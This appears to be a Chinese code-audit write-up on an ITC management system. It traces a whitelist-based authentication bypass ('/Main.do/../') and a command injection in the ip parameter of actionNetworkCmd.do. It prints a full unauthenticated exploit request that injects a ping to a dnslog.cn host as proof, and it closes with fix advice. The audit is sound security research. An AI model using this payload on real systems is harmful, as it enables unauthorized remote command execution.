首先,对目标系统进行代码审计时,权限校验机制是需要优先分析的重点。我们查看系统的 web.xml 配置文件,可以观察到其中设置了多处过滤器。

其中包含一个用于防护XSS的过滤器 xssRequestFilter,其对应的处理类为 com.common.RequestFilter。

跟进 RequestFilter 类的 doFilterInternal 方法,可以看到它创建了一个 XssRequestWrapper 对请求进行包装。

进一步分析 XssRequestWrapper 中的 stripXSSAndSql 方法。该方法主要通过一系列正则表达式,对常见的XSS攻击标签和脚本模式进行过滤和替换。

回到 web.xml,继续分析其他过滤器。其中定义了一个 staticFilter,其URL模式(url-pattern)覆盖了 .do、.js、.css、.png、.jpg 等静态资源请求。

跟进 StaticResourcesFilter 类查看其具体实现。发现它主要设置了一些HTTP响应头(如防XSS、内容类型嗅探等),随后便将请求放行,未做实质性的权限校验。

继续回到 web.xml 分析 Spring MVC 相关的配置。可以看到其中配置了 DispatcherServlet 并指定了Spring的配置文件路径为 /WEB-INF/config/spring-servlet.xml。

根据配置路径,找到并分析 spring-servlet.xml 文件。

在该配置文件中,第36行配置了一个权限认证拦截器 AuthInterceptor。

查看 AuthInterceptor 类的源码。在其第12行左右,定义了一个白名单数组 open。如果请求的URL包含白名单中的字符串(如 "Login.do", "Main.do", "/sdk/" 等),则不会进行302跳转至 /frame/viewJump.do 进行权限校验。

这暴露出一个与某些历史系统相似的权限绕过问题。攻击者可以构造特定的路径遍历Payload来绕过认证,例如:
/server/Main.do/../后台文件.do
本案例中的命令执行漏洞位于 actionNetworkCmd.do 这个接口。通过定位,找到对应的控制器文件 \webapps\cms\WEB-INF\classes\com\controller\SystemController.java。

在 actionNetworkCmd 方法中(约第334行),它接收 type、ip、time 三个参数。根据 type 值的不同,会拼接不同的系统命令(ping、traceroute、iperf3)。

关键在于第346行代码附近,用户可控的 ip 参数被直接拼接到了 cmd 字符串中,且未经过任何过滤,从而形成了典型的命令注入漏洞。
在前端的 system.js 文件(约第36行)中,可以看到完整的请求接口路径为 /system/actionNetworkCmd.do。

结合之前发现的权限绕过漏洞,可以构造出完整的攻击Payload。通过发送如下HTTP请求,即可实现未授权命令执行(这里以触发DNS请求为例进行验证):
POST /system/Main.do/../actionNetworkCmd.do HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Priority: u=0
type=0&ip=127.0.0.1;ping jqvs4b.dnslog.cn&time=5&port=
攻击成功后,可以在DNSLog平台看到来自目标服务器的DNS查询记录,证明命令已成功执行。

同时,服务器也返回了HTTP 200响应。

本次审计揭示了目标ITC管理系统在Spring框架权限校验设计上的缺陷以及后端命令拼接处缺乏输入过滤所导致的高危漏洞。开发者在设计鉴权逻辑时应避免使用简单的路径包含判断,对于所有需要执行系统命令的参数,必须进行严格的过滤或使用参数化调用的方式。如果你想了解更多关于代码审计的实战案例与技巧,欢迎访问云栈社区的技术讨论板块。